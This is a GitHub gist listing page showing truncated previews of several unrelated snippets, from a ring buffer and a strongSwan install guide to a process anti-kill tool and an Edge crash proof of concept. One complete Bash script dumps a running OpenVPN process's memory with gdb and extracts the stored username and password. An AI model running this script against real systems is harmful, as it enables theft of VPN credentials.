Skip to content

Instantly share code, notes, and snippets.

@madtrapper
madtrapper / magic_ring.cpp
Created August 23, 2016 03:00 — forked from rygorous/magic_ring.cpp
The magic ring buffer.
#define _CRT_SECURE_NO_DEPRECATE
#include <stdio.h>
#include <string.h>
#include <Windows.h>
// This allocates a "magic ring buffer" that is mapped twice, with the two
// copies being contiguous in (virtual) memory. The advantage of this is
// that this allows any function that expects data to be contiguous in
// memory to read from (or write to) such a buffer. It also means that
@madtrapper
madtrapper / ProcessArmor.cs
Created May 23, 2016 02:55
Process Armor - Prevent users from killing your service or process
using System;
using System.Diagnostics;
using System.Reflection;
using System.ComponentModel;
using System.Security.AccessControl;
using System.Security.Principal;
using System.Runtime.InteropServices;
using System.Configuration.Install;
#!/bin/bash
# This little hack-job will grab credentials from a running openvpn process in Linux
# Keep in mind this won't work if the user used the --auth-nocache flag
grep rw-p /proc/$1/maps | sed -n 's/^\([0-9a-f]*\)-\([0-9a-f]*\) .*$/\1 \2/p' | while read start stop; do gdb --batch-silent --silent --pid $1 -ex "dump memory $1-$start-$stop.dump 0x$start 0x$stop"; done
echo "Your credentials should be listed below as username/password"
strings *.dump | grep -B2 KnOQ | grep -v KnOQ
rm *.dump --force

测试平台:DigitalOcean VPS ubuntu14.04 x64, strongswan5.2.2

运行以下命令请使用root权限

一:安装strongswan

由于ubuntu软件仓库中strongswan版本较低,因此从官网源码编译安装

apt-get install build-essential     #编译环境
aptitude install libgmp10 libgmp3-dev libssl-dev pkg-config libpcsclite-dev libpam0g-dev     #编译所需要的软件
@madtrapper
madtrapper / netkatz.cs
Last active September 14, 2015 15:53
Prototype - x86
using System;
using System.IO;
using System.Net;
using System.Text;
using System.IO.Compression;
using System.Collections.Generic;
using System.Configuration.Install;
using System.Runtime.InteropServices;
@madtrapper
madtrapper / edge_crash2.html
Last active August 29, 2015 14:27 — forked from h0wl/edge_crash2.html
Edge Crash No Interaction
<!-- based on https://connect.microsoft.com/IE/feedback/details/1683347/ms-edge-combination-of-iframe-anchor-hash-navigation-and-history-state-crashes-the-browse -->
<!doctype html>
<html>
<head>
<script>
function boom() {
var iframe = document.getElementById('iframe1');
iframe.src = "http://bing.com";
iframe.src += "";
document.location.href = '#';
#!/usr/bin/env python2
# vim: set fileencoding=utf8
import os
import sys
import requests
import urllib
import json
import re
import time
#!/bin/bash
mode="$(xinput list-props 11|grep "Device Enabled"|cut -d ':' -f2)"
if [ $mode -eq "1" ]; then
xinput set-prop 11 "Device Enabled" 0
else
xinput set-prop 11 "Device Enabled" 1
fi
package main
import (
"crypto/tls"
"crypto/x509"
"fmt"
"io"
"log"
)
# -*- coding: utf8 -*-
# 下载速度很慢,
import urllib2, urllib
import sys
import os
import socket
import re
import socks